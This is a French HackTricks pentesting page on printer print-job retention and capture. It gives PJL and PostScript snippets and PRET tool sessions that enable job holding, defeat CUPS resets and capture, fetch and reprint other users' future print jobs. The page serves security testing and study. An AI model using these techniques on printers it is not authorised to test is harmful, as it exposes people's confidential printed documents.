hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md

9.3 KiB

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Conservation des travaux d'impression

Certaines imprimantes ont des travaux d'impression stockés accessibles depuis le serveur web. Habituellement, cependant, la conservation des travaux doit être explicitement activée pour un travail d'impression donné et peut être réalisée en utilisant des commandes PJL standard ou du code PostScript propriétaire. Les travaux sont alors conservés en mémoire et peuvent être réimprimés à partir du panneau de contrôle.

PJL

La conservation légitime d'un travail peut être activée pour le document actuel en définissant la variable PJL HOLD comme indiqué ci-dessous :

@PJL SET HOLD=ON
[actual data to be printed follows]

Les travaux en attente sont conservés en mémoire et peuvent être réimprimés à partir du panneau de contrôle de l'imprimante. Cette fonctionnalité est prise en charge par diverses imprimantes, cependant il semble que seuls certains appareils Epson permettent de définir la rétention permanente des travaux en utilisant @PJL DEFAULT HOLD=ON.

Comment tester cette attaque ?

Utilisez la commande hold de PRET en mode pjl pour vérifier si la rétention permanente des travaux peut être définie :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

PostScript offre des fonctionnalités similaires qui sont cependant spécifiques au modèle et au fabricant. Pour la série HP LaserJet 4k et diverses imprimantes Kyocera, la rétention de travaux peut être activée en préfixant les commandes suivantes à un document PostScript :

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice

Bien qu'il soit théoriquement possible d'activer de manière permanente la rétention de travaux PostScript en utilisant l'opérateur startjob , ce paramètre est explicitement réinitialisé par CUPS au début de chaque travail d'impression en utilisant << /Collate false >> setpagedevice. Cependant, pour contrer ce mécanisme de protection, l'attaquant peut redéfinir de manière permanente l'opérateur setpagedevice pour qu'il n'ait aucun effet.

Comment tester cette attaque ?

Utilisez la commande hold de PRET en mode ps :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

Capture de travaux

Il est possible, mais peu commun, d'activer la rétention de travaux dans la boîte de dialogue d'impression comme mentionné ci-dessus. Cependant, avec PostScript, on a un contrôle total sur le travail d'impression actuel et avec l'opérateur startjob, il est même possible de sortir de la boucle du serveur et d'accéder aux travaux futurs. Une telle fonctionnalité a le potentiel de capturer tous les documents si PostScript est utilisé comme pilote d'imprimante.

PostScript

Avec la capacité de se brancher sur des opérateurs PostScript arbitraires, il est possible de manipuler et d'accéder à des travaux d'impression étrangers. Pour analyser le flux de données réel envoyé à l'imprimante, on peut utiliser une fonctionnalité assez cool du langage PostScript : lire son propre code programme comme des données en utilisant l'opérateur currentfile. De cette manière, l'ensemble du flux de données à traiter par l'interpréteur PostScript peut être accédé en le lisant et stocké dans un fichier sur le périphérique d'impression. Si l'imprimante n'offre pas d'accès au système de fichiers, les documents capturés peuvent être stockés en mémoire, par exemple dans des dictionnaires PostScript permanents.
Un problème pratique est de décider quel opérateur devrait être intercepté car on n'a pas accès au flux de données avant que cet opérateur soit traité par l'interpréteur PostScript. Comme un attaquant veut capturer les travaux d'impression dès le début, l'opérateur redéfini doit être le tout premier opérateur contenu dans le document PostScript. Heureusement, tous les documents imprimés avec CUPS sont contraints à une structure fixe commençant par currentfile /ASCII85Decode filter /LZWDecode filter cvx exec. En se basant sur l'hypothèse d'une telle structure fixe, l'attaquant peut capturer les documents dès le début et exécuter (c'est-à-dire imprimer) le fichier par la suite. Pour les systèmes d'impression autres que CUPS, cette attaque devrait également être possible, mais les opérateurs doivent être adaptés. Notez que l'en-tête PostScript qui inclut généralement la taille du support, le nom de l'utilisateur et du travail ne peut pas être capturé en utilisant cette méthode car nous nous branchons d'abord au début du document réel. Une autre stratégie générique pour se brancher au début de chaque travail d'impression est de définir le paramètre système BeginPage, s'il est pris en charge par l'imprimante (la plupart des imprimantes le font). Cette vulnérabilité est probablement présente dans les dispositifs d'impression depuis des décennies car seuls les constructions de langage définies par la norme PostScript sont exploitées.

Utilisez la commande capture de PRET en mode ps :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture
Print job operations:  capture <operation>
capture start   - Record future print jobs.
capture stop    - End capturing print jobs.
capture list    - Show captured print jobs.
capture fetch   - Save captured print jobs.
capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit

Maintenant, imprimez des documents arbitraires (assurez-vous que PRET est déconnecté pour ne pas bloquer le canal d'impression). Ensuite, vous pouvez lister, récupérer ou réimprimer les documents capturés :

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -
Jan 25 18:40  170K  -              -                       -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :